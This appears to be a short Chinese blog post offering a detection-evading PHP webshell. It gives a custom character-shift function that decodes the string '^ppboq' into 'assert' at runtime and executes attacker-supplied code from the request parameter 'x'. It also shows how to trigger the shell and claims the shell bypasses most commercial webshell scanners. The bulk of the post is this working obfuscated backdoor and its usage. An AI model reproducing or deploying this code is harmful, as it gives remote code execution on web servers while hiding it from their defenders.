网上一直有使用各种编码、加密免杀PHPwenshell的方法,很多用的PHP自带的例如base64_decode、substr_replace、str_rot13这种函数去处理,想到可以自定义字符串处理函数,测试一下会不会有比较好的效果,最终测试效果还算理想。
自己实现类似于str_rot13的编码方法,原理很简单,但效果还不错,代码如下:
<?php
function rot($str,$len){
$restr="";
for($i=0;$i<strlen($str);$i++){
$restr.=chr(ord($str[$i])+$len);
}
return $restr;
}
function muma($a,$len){
$exe=rot('^ppboq',$len);
$exe($a);
}
muma($_REQUEST['x'],$_REQUEST['len']);
解析:取字符串的每一位,ord解出ASCII后,统一右移传入的$len位,然后再chr还原成字符,再拼接起来,这里传入的^ppboq就是assert左移3位的结果,所以出传入x=phpinfo();&len=3即可执行命令。
测试结果可以过市面上大部分webshell检测,长亭、百度什么的都可以过。